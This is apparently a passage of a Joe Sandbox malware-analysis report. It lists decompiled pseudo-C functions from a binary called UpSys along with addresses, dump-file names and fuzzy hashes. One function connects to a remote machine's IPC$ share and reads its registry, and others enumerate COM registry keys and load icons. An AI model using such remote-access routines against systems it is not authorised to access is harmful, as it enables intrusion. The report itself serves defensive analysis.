				if (r12d != 9) goto 0x40072d9d;
				 *((long long*)(_t236 + 0x1a8)) = _t251;
				goto 0x40072d9f;
				return 1;
			}

































                                                                                                                                                                                                        0x1400729f0
                                                                                                                                                                                                        0x1400729f0
                                                                                                                                                                                                        0x1400729f0
                                                                                                                                                                                                        0x1400729f5
                                                                                                                                                                                                        0x140072a0f
                                                                                                                                                                                                        0x140072a12
                                                                                                                                                                                                        0x140072a15
                                                                                                                                                                                                        0x140072a18
                                                                                                                                                                                                        0x140072a1b
                                                                                                                                                                                                        0x140072a20
                                                                                                                                                                                                        0x140072a2b
                                                                                                                                                                                                        0x140072a3f
                                                                                                                                                                                                        0x140072a44
                                                                                                                                                                                                        0x140072a44
                                                                                                                                                                                                        0x140072a4e
                                                                                                                                                                                                        0x140072a50
                                                                                                                                                                                                        0x140072a53
                                                                                                                                                                                                        0x140072a56
                                                                                                                                                                                                        0x140072a68
                                                                                                                                                                                                        0x140072a6a
                                                                                                                                                                                                        0x140072a70
                                                                                                                                                                                                        0x140072a72
                                                                                                                                                                                                        0x140072a7a
                                                                                                                                                                                                        0x140072a80
                                                                                                                                                                                                        0x140072a89
                                                                                                                                                                                                        0x140072a96
                                                                                                                                                                                                        0x140072ab3
                                                                                                                                                                                                        0x140072ab9
                                                                                                                                                                                                        0x140072abf
                                                                                                                                                                                                        0x140072ada
                                                                                                                                                                                                        0x140072aee
                                                                                                                                                                                                        0x140072af6
                                                                                                                                                                                                        0x140072afb
                                                                                                                                                                                                        0x140072b04
                                                                                                                                                                                                        0x140072b16
                                                                                                                                                                                                        0x140072b1b
                                                                                                                                                                                                        0x140072b21
                                                                                                                                                                                                        0x140072b2a
                                                                                                                                                                                                        0x140072b35
                                                                                                                                                                                                        0x140072b3a
                                                                                                                                                                                                        0x140072b43
                                                                                                                                                                                                        0x140072b4b
                                                                                                                                                                                                        0x140072b53
                                                                                                                                                                                                        0x140072b5c
                                                                                                                                                                                                        0x140072b66
                                                                                                                                                                                                        0x140072b71
                                                                                                                                                                                                        0x140072b7a
                                                                                                                                                                                                        0x140072b8b
                                                                                                                                                                                                        0x140072b94
                                                                                                                                                                                                        0x140072b9c
                                                                                                                                                                                                        0x140072ba7
                                                                                                                                                                                                        0x140072bb5
                                                                                                                                                                                                        0x140072bbf
                                                                                                                                                                                                        0x140072bc8
                                                                                                                                                                                                        0x140072bdb
                                                                                                                                                                                                        0x140072bf6
                                                                                                                                                                                                        0x140072c0a
                                                                                                                                                                                                        0x140072c0c
                                                                                                                                                                                                        0x140072c11
                                                                                                                                                                                                        0x140072c1a
                                                                                                                                                                                                        0x140072c1f
                                                                                                                                                                                                        0x140072c2b
                                                                                                                                                                                                        0x140072c33
                                                                                                                                                                                                        0x140072c3b
                                                                                                                                                                                                        0x140072c49
                                                                                                                                                                                                        0x140072c4f
                                                                                                                                                                                                        0x140072c5b
                                                                                                                                                                                                        0x140072c63
                                                                                                                                                                                                        0x140072c6a
                                                                                                                                                                                                        0x140072c7b
                                                                                                                                                                                                        0x140072c81
                                                                                                                                                                                                        0x140072c8a
                                                                                                                                                                                                        0x140072c99
                                                                                                                                                                                                        0x140072c9b
                                                                                                                                                                                                        0x140072ca2
                                                                                                                                                                                                        0x140072cab
                                                                                                                                                                                                        0x140072cb1
                                                                                                                                                                                                        0x140072cb3
                                                                                                                                                                                                        0x140072cb8
                                                                                                                                                                                                        0x140072cbc
                                                                                                                                                                                                        0x140072cc6
                                                                                                                                                                                                        0x140072ccc
                                                                                                                                                                                                        0x140072cce
                                                                                                                                                                                                        0x140072cd3
                                                                                                                                                                                                        0x140072cd7
                                                                                                                                                                                                        0x140072ce7
                                                                                                                                                                                                        0x140072ce9
                                                                                                                                                                                                        0x140072cf1
                                                                                                                                                                                                        0x140072cfb
                                                                                                                                                                                                        0x140072d04
                                                                                                                                                                                                        0x140072d21
                                                                                                                                                                                                        0x140072d23
                                                                                                                                                                                                        0x140072d2f
                                                                                                                                                                                                        0x140072d39
                                                                                                                                                                                                        0x140072d42
                                                                                                                                                                                                        0x140072d5f
                                                                                                                                                                                                        0x140072d61
                                                                                                                                                                                                        0x140072d6d
                                                                                                                                                                                                        0x140072d72
                                                                                                                                                                                                        0x140072d74
                                                                                                                                                                                                        0x140072d86
                                                                                                                                                                                                        0x140072d88
                                                                                                                                                                                                        0x140072d90
                                                                                                                                                                                                        0x140072d92
                                                                                                                                                                                                        0x140072d9b
                                                                                                                                                                                                        0x140072dba

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout
                                                                                                                                                                                                        • String ID: %s%u
                                                                                                                                                                                                        • API String ID: 1412819556-679674701
                                                                                                                                                                                                        • Opcode ID: a5b0929f4ac0dca97f9456f3f203d020cc647baa7f65641853f6ad3c63c7fb74
                                                                                                                                                                                                        • Instruction ID: 205d802c578d07452b59f988f1aed00e425b403bb69118e402328776d16a0d5c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: a5b0929f4ac0dca97f9456f3f203d020cc647baa7f65641853f6ad3c63c7fb74
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 28A1DF7220438583EA36DF26E4547EEB3A0F7997C4F400415FB8A576A5EB7CD985CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140092BB0 Relevance: 17.7, APIs: 4, Strings: 6, Instructions: 167COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 55%
                                                                                                                                                                                                        			E00000001140092BB0(void* __ebx, void* __ecx, void* __edx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8) {
				void* __rdi;
				void* __rsi;
				void* __rbp;
				void* _t61;
				void* _t65;
				void* _t75;
				void* _t86;
				void* _t87;
				intOrPtr* _t97;
				intOrPtr* _t108;
				intOrPtr _t113;
				intOrPtr* _t117;
				intOrPtr* _t123;
				void* _t170;
				intOrPtr* _t171;
				void* _t173;
				void* _t174;
				void* _t176;
				void* _t177;
				void* _t179;
				void* _t180;
				intOrPtr _t186;
				void* _t192;

				_t115 = __rbx;
				_t87 = __edx;
				_t86 = __ecx;
				_t192 = _t179;
				 *((long long*)(_t192 + 8)) = __rbx;
				_t180 = _t179 - 0x80;
				 *(_t192 + 0x20) =  *(_t192 + 0x20) & 0x00000000;
				 *(_t192 + 0x10) =  *(_t192 + 0x10) & 0x00000000;
				 *(_t192 - 0x30) =  *(_t192 - 0x30) & 0x00000000;
				 *(_t192 - 0x28) =  *(_t192 - 0x28) & 0x00000000;
				 *(_t192 - 0x20) =  *(_t192 - 0x20) & 0x00000000;
				_t171 = __rcx;
				_t174 = __r8;
				 *((long long*)(_t192 - 0x38)) = 0x4009e730;
				_t177 = __rdx;
				E0000000114000FD50(0x4009e730, __rbx, _t192 - 0x58);
				E00000001140012D80(_t87, 0x4009e730, _t115, __r8, 0x4009b6c0, __r8, __r8);
				_t123 =  *((intOrPtr*)( *((intOrPtr*)(_t177 + 8))));
				if (E0000000114003F520(_t123) == 0) goto 0x40092e28;
				if ( *((long long*)(_t177 + 0x10)) - 1 <= 0) goto 0x40092d53;
				if (E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t177 + 8)) + 8))) - 2 < 0) goto 0x40092d53;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t123 + 8))))))(_t173, _t176) < 0) goto 0x40092e28;
				_t108 =  *((intOrPtr*)( *((intOrPtr*)(_t180 + 0x20))));
				_t61 =  *((intOrPtr*)(_t108 + 0x78))();
				if (_t61 < 0) goto 0x40092c83;
				__imp__StringFromCLSID();
				if (_t61 != 0) goto 0x40092d43;
				E00000001140015220(_t108,  *((intOrPtr*)( *_t123 + 8)),  *((intOrPtr*)(_t180 + 0xa8)));
				_t117 = _t108;
				__imp__CoTaskMemFree();
				_t97 = _t117;
				if (_t97 == 0) goto 0x40092d43;
				E000000011400107E0(_t108, _t180 + 0x40, L"CLSID\\", _t171);
				E00000001140011830(_t117, _t180 + 0x40, _t117, _t174, _t177);
				_t65 = E00000001140010880( *((intOrPtr*)( *((intOrPtr*)(_t177 + 8)) + 8)));
				if (_t97 == 0) goto 0x40092d28;
				if (_t97 == 0) goto 0x40092d1f;
				if (_t65 - 1 == 1) goto 0x40092cfe;
				goto 0x40092d36;
				E000000011400926B0(__ebx, _t86, _t87, __esi, _t65 - 1 - 1, _t117, _t171, _t174, _t174, _t177,  *((intOrPtr*)(_t180 + 0x40)), L"inprocserver32");
				if (E00000001140062160(_t108, _t174) != 0) goto 0x40092d3b;
				goto 0x40092d2b;
				goto 0x40092d2b;
				r9d = 0;
				E000000011400926B0(__ebx, _t86, _t87, __esi, E00000001140062160(_t108, _t174), _t117, _t171, _t174, _t174, _t177,  *((intOrPtr*)(_t180 + 0x40)), L"ProgID");
				0x40017be8();
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t180 + 0x20)))) + 0x10))();
				goto 0x40092e28;
				r8d = 0;
				if ( *((intOrPtr*)( *_t117 + 0x20))() < 0) goto 0x40092e28;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t180 + 0xb8)))) + 0x18))() < 0) goto 0x40092e28;
				asm("movdqu xmm0, [edx]");
				asm("movdqu [esp+0x30], xmm0");
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t180 + 0xb8)))) + 0x98))();
				_t113 =  *((intOrPtr*)( *((intOrPtr*)(_t180 + 0xb8))));
				_t75 =  *((intOrPtr*)(_t113 + 0x10))();
				__imp__StringFromIID();
				if (_t75 < 0) goto 0x40092e28;
				E00000001140015220(_t113, _t117,  *((intOrPtr*)(_t180 + 0xa8)));
				_t118 = _t113;
				__imp__CoTaskMemFree();
				E000000011400107E0(_t113, _t180 + 0x40, L"Interface\\", _t171);
				E00000001140011830(_t113, _t180 + 0x40, _t113, _t174, _t177);
				_t186 =  *((intOrPtr*)(_t180 + 0x40));
				r9d = 0;
				E000000011400926B0(__ebx, _t86, 0, __esi, _t75, _t113, _t171, _t174, _t174, _t177, _t186, _t180 + 0xb8);
				0x40017be8();
				if (E00000001140062160(_t113, _t174) != 0) goto 0x40092e4a;
				r8d = 0;
				_t52 = _t186 + 1; // 0x1
				E00000001140002610(E0000000114000FCA0(_t52,  *_t171, _t118,  *((intOrPtr*)( *_t171 + 4)) + _t171, _t174, _t170), _t118, _t180 + 0x40);
				E000000011400024B0(_t118, _t180 + 0x60, _t174, _t174, _t177, _t180 + 0xb8);
				return 0;
			}


























                                                                                                                                                                                                        0x140092bb0
                                                                                                                                                                                                        0x140092bb0
                                                                                                                                                                                                        0x140092bb0
                                                                                                                                                                                                        0x140092bb0
                                                                                                                                                                                                        0x140092bb3
                                                                                                                                                                                                        0x140092bba
                                                                                                                                                                                                        0x140092bc1
                                                                                                                                                                                                        0x140092bc6
                                                                                                                                                                                                        0x140092bcb
                                                                                                                                                                                                        0x140092bd0
                                                                                                                                                                                                        0x140092bd5
                                                                                                                                                                                                        0x140092bda
                                                                                                                                                                                                        0x140092be8
                                                                                                                                                                                                        0x140092beb
                                                                                                                                                                                                        0x140092bef
                                                                                                                                                                                                        0x140092bf2
                                                                                                                                                                                                        0x140092c01
                                                                                                                                                                                                        0x140092c0a
                                                                                                                                                                                                        0x140092c14
                                                                                                                                                                                                        0x140092c26
                                                                                                                                                                                                        0x140092c38
                                                                                                                                                                                                        0x140092c54
                                                                                                                                                                                                        0x140092c64
                                                                                                                                                                                                        0x140092c67
                                                                                                                                                                                                        0x140092c6c
                                                                                                                                                                                                        0x140092c7b
                                                                                                                                                                                                        0x140092c83
                                                                                                                                                                                                        0x140092c91
                                                                                                                                                                                                        0x140092c9e
                                                                                                                                                                                                        0x140092ca1
                                                                                                                                                                                                        0x140092ca7
                                                                                                                                                                                                        0x140092caa
                                                                                                                                                                                                        0x140092cbc
                                                                                                                                                                                                        0x140092cc9
                                                                                                                                                                                                        0x140092cd6
                                                                                                                                                                                                        0x140092cde
                                                                                                                                                                                                        0x140092ce3
                                                                                                                                                                                                        0x140092cf3
                                                                                                                                                                                                        0x140092cfc
                                                                                                                                                                                                        0x140092d05
                                                                                                                                                                                                        0x140092d14
                                                                                                                                                                                                        0x140092d1d
                                                                                                                                                                                                        0x140092d26
                                                                                                                                                                                                        0x140092d28
                                                                                                                                                                                                        0x140092d36
                                                                                                                                                                                                        0x140092d3e
                                                                                                                                                                                                        0x140092d4b
                                                                                                                                                                                                        0x140092d4e
                                                                                                                                                                                                        0x140092d5e
                                                                                                                                                                                                        0x140092d6b
                                                                                                                                                                                                        0x140092d86
                                                                                                                                                                                                        0x140092d99
                                                                                                                                                                                                        0x140092d9d
                                                                                                                                                                                                        0x140092da6
                                                                                                                                                                                                        0x140092db4
                                                                                                                                                                                                        0x140092db7
                                                                                                                                                                                                        0x140092dc7
                                                                                                                                                                                                        0x140092dcf
                                                                                                                                                                                                        0x140092dd9
                                                                                                                                                                                                        0x140092de6
                                                                                                                                                                                                        0x140092de9
                                                                                                                                                                                                        0x140092dfb
                                                                                                                                                                                                        0x140092e08
                                                                                                                                                                                                        0x140092e0d
                                                                                                                                                                                                        0x140092e12
                                                                                                                                                                                                        0x140092e1b
                                                                                                                                                                                                        0x140092e23
                                                                                                                                                                                                        0x140092e32
                                                                                                                                                                                                        0x140092e37
                                                                                                                                                                                                        0x140092e3e
                                                                                                                                                                                                        0x140092e4f
                                                                                                                                                                                                        0x140092e59
                                                                                                                                                                                                        0x140092e72

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: FreeFromStringTask
                                                                                                                                                                                                        • String ID: CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32
                                                                                                                                                                                                        • API String ID: 910554386-2412192186
                                                                                                                                                                                                        • Opcode ID: 6b564da7c2d09f92e49dc8f1efa2d137b273387d7ebbbc637c3f5efbb2ffa4ec
                                                                                                                                                                                                        • Instruction ID: 44ae444a2817fe95145b379ac5a830e8425daea4e5f163e2e59641ccc831e66d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 6b564da7c2d09f92e49dc8f1efa2d137b273387d7ebbbc637c3f5efbb2ffa4ec
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 71711832314A8581EB62EB27E4947EE6361FB89BC4F449022FB4D4BAB5DF39C549C740
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140065B10 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 160windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 25%
                                                                                                                                                                                                        			E00000001140065B10(void* __edx, long long __rbx, long long __rcx, void* __rdx, long long __rbp, void* __r8, void* __r9, signed int _a8, void* _a16, char _a24, void* _a32, intOrPtr _a40, signed int _a48, intOrPtr _a56, intOrPtr _a64) {
				signed int _v48;
				signed int _v56;
				void* __rdi;
				void* __rsi;
				void* _t47;
				signed int _t49;
				signed int _t52;
				signed int _t62;
				intOrPtr _t66;
				intOrPtr _t80;
				void* _t104;
				intOrPtr* _t105;
				signed int _t106;
				intOrPtr _t115;
				struct HWND__* _t143;
				int _t146;
				void* _t150;
				int _t160;
				WCHAR* _t162;
				struct HINSTANCE__* _t165;

				_t104 = _t150;
				 *((long long*)(_t104 + 0x10)) = __rbx;
				 *((long long*)(_t104 + 0x20)) = __rbp;
				 *(_t104 + 0x18) = r8d;
				 *((long long*)(_t104 + 8)) = __rcx;
				r12d = r8d;
				if (_a48 == 0) goto 0x40065b59;
				 *0x400c6ab8 = E0000000114003DD90(_t47, _t104, __rdx, 0x400c6a00, _a48);
				goto 0x40065b5f;
				_t49 =  *0x400c6ab8; // 0xffffffff
				if (_t49 != 0xffffffff) goto 0x40065b6b;
				goto 0x40065d65;
				if (__rdx == 0) goto 0x40065b93;
				_t105 =  *0x400c6aa0; // 0x0
				E000000011400107E0(_t105,  *((intOrPtr*)( *_t105)) + 0x48, __rdx, __r9);
				_t52 =  *0x400c6ab8; // 0xffffffff
				_t106 =  *0x400c6aa0; // 0x0
				r14d = 1;
				_t115 =  *((intOrPtr*)( *((intOrPtr*)(_t106 + _t52 * 8))));
				if (__r9 == 0) goto 0x40065cf2;
				r9d = _t165 + 0xf;
				r8d = r14d;
				_v48 = r9d;
				_v56 = r9d;
				LoadImageW(_t165, _t162, _t160);
				_a8 = _t106;
				if (_t106 != 0) goto 0x40065c07;
				E00000001140040400(_a40);
				r8d = 0;
				_v56 = r14d;
				ExtractIconExW(??, ??, ??, ??, ??);
				goto 0x40065c0e;
				r9d = 0;
				r8d = r14d;
				_v48 = 0x50;
				_v56 = _v56 & 0x00000000;
				LoadImageW(??, ??, ??, ??, ??, ??);
				_a48 = _t106;
				if (_t106 != 0) goto 0x40065c63;
				E00000001140040400(_a40);
				r9d = 0;
				_v56 = r14d;
				ExtractIconExW(??, ??, ??, ??, ??);
				if (_a8 == 0) goto 0x40065ca8;
				r8d = 0;
				SendMessageW(_t143, _t146);
				if ( *((intOrPtr*)(_t115 + 0x38)) == 0) goto 0x40065c92;
				DestroyIcon(??);
				 *((long long*)(_t115 + 0x38)) = _a8;
				if (_a48 == 0) goto 0x40065ce6;
				SendMessageW(??, ??, ??, ??);
				if ( *((intOrPtr*)(_t115 + 0x40)) == 0) goto 0x40065ccd;
				_t62 = DestroyIcon(??);
				 *((long long*)(_t115 + 0x40)) = _a48;
				if (_a8 != 0) goto 0x40065cf2;
				asm("sbb eax, eax");
				if (r12d == 0xffffffff) goto 0x40065d2b;
				E0000000114003FD90( &_a24);
				if ( *((intOrPtr*)(_t115 + 0x7c)) < 0) goto 0x40065d15;
				E0000000114004D820( *((intOrPtr*)(_t115 + 0x7c)),  *((intOrPtr*)(_t115 + 0x7c)),  ~_a48, 0x400c6a00);
				r8d = r14d;
				 *((intOrPtr*)(_t115 + 0x7c)) = _a24;
				E0000000114004D8D0(_a24,  *((intOrPtr*)(_t115 + 0x7c)),  ~_a48, _t115, 0x400c6a00, _t146);
				_t66 = _a56;
				if (_t66 == 0xffffffff) goto 0x40065d3d;
				 *((intOrPtr*)(_t115 + 0x80)) = _t66;
				_t80 = _a64;
				if (_t80 == 0xffffffff) goto 0x40065d4f;
				 *((intOrPtr*)(_t115 + 0x84)) = _t80;
				if ( *((char*)(_t115 + 0x68)) == 0) goto 0x40065d63;
				r8d = r14d;
				InvalidateRect(??, ??, ??);
				return r14d & _t62;
			}























                                                                                                                                                                                                        0x140065b10
                                                                                                                                                                                                        0x140065b13
                                                                                                                                                                                                        0x140065b17
                                                                                                                                                                                                        0x140065b1b
                                                                                                                                                                                                        0x140065b1f
                                                                                                                                                                                                        0x140065b3d
                                                                                                                                                                                                        0x140065b43
                                                                                                                                                                                                        0x140065b51
                                                                                                                                                                                                        0x140065b57
                                                                                                                                                                                                        0x140065b59
                                                                                                                                                                                                        0x140065b62
                                                                                                                                                                                                        0x140065b66
                                                                                                                                                                                                        0x140065b6e
                                                                                                                                                                                                        0x140065b73
                                                                                                                                                                                                        0x140065b88
                                                                                                                                                                                                        0x140065b8d
                                                                                                                                                                                                        0x140065b96
                                                                                                                                                                                                        0x140065b9d
                                                                                                                                                                                                        0x140065baa
                                                                                                                                                                                                        0x140065bb3
                                                                                                                                                                                                        0x140065bb9
                                                                                                                                                                                                        0x140065bbd
                                                                                                                                                                                                        0x140065bc3
                                                                                                                                                                                                        0x140065bca
                                                                                                                                                                                                        0x140065bcf
                                                                                                                                                                                                        0x140065bd5
                                                                                                                                                                                                        0x140065bdd
                                                                                                                                                                                                        0x140065be6
                                                                                                                                                                                                        0x140065bf0
                                                                                                                                                                                                        0x140065bf8
                                                                                                                                                                                                        0x140065bff
                                                                                                                                                                                                        0x140065c05
                                                                                                                                                                                                        0x140065c0e
                                                                                                                                                                                                        0x140065c11
                                                                                                                                                                                                        0x140065c19
                                                                                                                                                                                                        0x140065c21
                                                                                                                                                                                                        0x140065c26
                                                                                                                                                                                                        0x140065c2c
                                                                                                                                                                                                        0x140065c37
                                                                                                                                                                                                        0x140065c3b
                                                                                                                                                                                                        0x140065c48
                                                                                                                                                                                                        0x140065c50
                                                                                                                                                                                                        0x140065c55
                                                                                                                                                                                                        0x140065c70
                                                                                                                                                                                                        0x140065c75
                                                                                                                                                                                                        0x140065c7d
                                                                                                                                                                                                        0x140065c8a
                                                                                                                                                                                                        0x140065c8c
                                                                                                                                                                                                        0x140065c97
                                                                                                                                                                                                        0x140065cab
                                                                                                                                                                                                        0x140065cb8
                                                                                                                                                                                                        0x140065cc5
                                                                                                                                                                                                        0x140065cc7
                                                                                                                                                                                                        0x140065cd5
                                                                                                                                                                                                        0x140065ce9
                                                                                                                                                                                                        0x140065cee
                                                                                                                                                                                                        0x140065cf6
                                                                                                                                                                                                        0x140065cfd
                                                                                                                                                                                                        0x140065d07
                                                                                                                                                                                                        0x140065d10
                                                                                                                                                                                                        0x140065d20
                                                                                                                                                                                                        0x140065d23
                                                                                                                                                                                                        0x140065d26
                                                                                                                                                                                                        0x140065d2b
                                                                                                                                                                                                        0x140065d35
                                                                                                                                                                                                        0x140065d37
                                                                                                                                                                                                        0x140065d3d
                                                                                                                                                                                                        0x140065d47
                                                                                                                                                                                                        0x140065d49
                                                                                                                                                                                                        0x140065d53
                                                                                                                                                                                                        0x140065d55
                                                                                                                                                                                                        0x140065d5d
                                                                                                                                                                                                        0x140065d7b

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Icon$DestroyExtractImageLoadMessageSend$InvalidateLongRectWindow
                                                                                                                                                                                                        • String ID: P
                                                                                                                                                                                                        • API String ID: 84695935-3110715001
                                                                                                                                                                                                        • Opcode ID: 14516cd6e8cf6c3cdb773a2b55d16db9a136fb635bad4d0a426c9cead0943b1a
                                                                                                                                                                                                        • Instruction ID: ed3ea03e3ebbdc37abedc2be1bdb0f9fd142b43316af83a3f7d7bce45ce80076
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 14516cd6e8cf6c3cdb773a2b55d16db9a136fb635bad4d0a426c9cead0943b1a
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 5E616F36204B8086EB66DF27E85479A73A2F79CBD4F544515AF4E93BB4DF38C4458B00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 00000001400681A0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 129registryshareCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 44%
                                                                                                                                                                                                        			E000000011400681A0(void* __ecx, void* __edx, void* __eflags, long long __rbx, void* __rcx, short* __rdx, long long __rbp, void* __r8, void* __r9, unsigned int _a16, char _a32, void* _a40) {
				void* _v24;
				char _v552;
				long long _v584;
				intOrPtr _v604;
				char _v608;
				char _v640;
				char _v672;
				char _v704;
				struct _NETRESOURCE* _v712;
				long long _v720;
				signed long long _v728;
				void* __rdi;
				void* __rsi;
				void* _t59;
				void* _t69;
				void* _t76;
				void* _t95;
				signed long long _t98;
				void* _t100;
				short* _t134;
				short* _t141;
				short* _t142;
				void* _t144;
				void* _t145;
				void* _t148;
				void* _t150;
				struct _NETRESOURCE* _t159;

				_t153 = __r8;
				_t76 = __ecx;
				_t95 = _t150;
				 *((long long*)(_t95 + 8)) = __rbx;
				 *((long long*)(_t95 + 0x18)) = __rbp;
				_t100 = __rcx;
				r12d = 0;
				_t145 = __r9;
				_t148 = __r8;
				_t142 = __rdx;
				_v712 = _t159;
				 *(_t95 + 0x20) = _t159;
				E0000000114000FD50(_t95, __rcx,  &_v672);
				E0000000114000FD50(_t95, _t100,  &_v704);
				E0000000114000FD50(_t95, _t100,  &_v640);
				E000000011400107E0(_t95,  &_v672, L"SOFTWARE\\Classes\\", __rdx);
				E00000001140011830(_t100,  &_v672, _t100, __r9, _t148);
				E00000001140011830(_t100,  &_v672, L"\\CLSID", __r9, _t148);
				E000000011400107E0(_t95,  &_v704, 0x4009b6c0, _t142);
				if (_t142 == _t159) goto 0x4006825c;
				if ( *_t142 == 0x5c) goto 0x4006825c;
				if ( *((short*)(_t142 + 2)) == 0x5c) goto 0x4006825c;
				E000000011400107E0(_t95,  &_v704, L"\\\\", _t142);
				_t134 = _t142;
				_t59 = E00000001140011830(_t100,  &_v704, _t134, __r9, _t148);
				if (__r9 == _t159) goto 0x400682cf;
				_t16 = _t134 + 0x30; // 0x30
				r8d = _t16;
				E00000001140017520(_t59, _t76, 0,  &_v608, _t134, _t153);
				_v604 = r12d;
				E00000001140012600( &_v640,  &_v704);
				E00000001140011830(_t100,  &_v640, L"\\IPC$", _t145, _t148);
				r9d = 0;
				_v584 = _v640;
				if (WNetAddConnection2W(_t159, _t141) != r12d) goto 0x400683bc;
				if (RegConnectRegistryW(??, ??, ??) != r12d) goto 0x400683bc;
				r9d = 0x20019;
				r8d = 0;
				_v728 =  &_a32;
				if (RegOpenKeyExW(??, ??, ??, ??, ??) != r12d) goto 0x400683b1;
				r9d = 0;
				_v720 =  &_a16;
				_t98 =  &_v552;
				r8d = 0;
				_a16 = 0x1fe;
				_v728 = _t98;
				if (RegQueryValueExW(??, ??, ??, ??, ??, ??) != r12d) goto 0x400683a3;
				_a16 = _a16 >> 1;
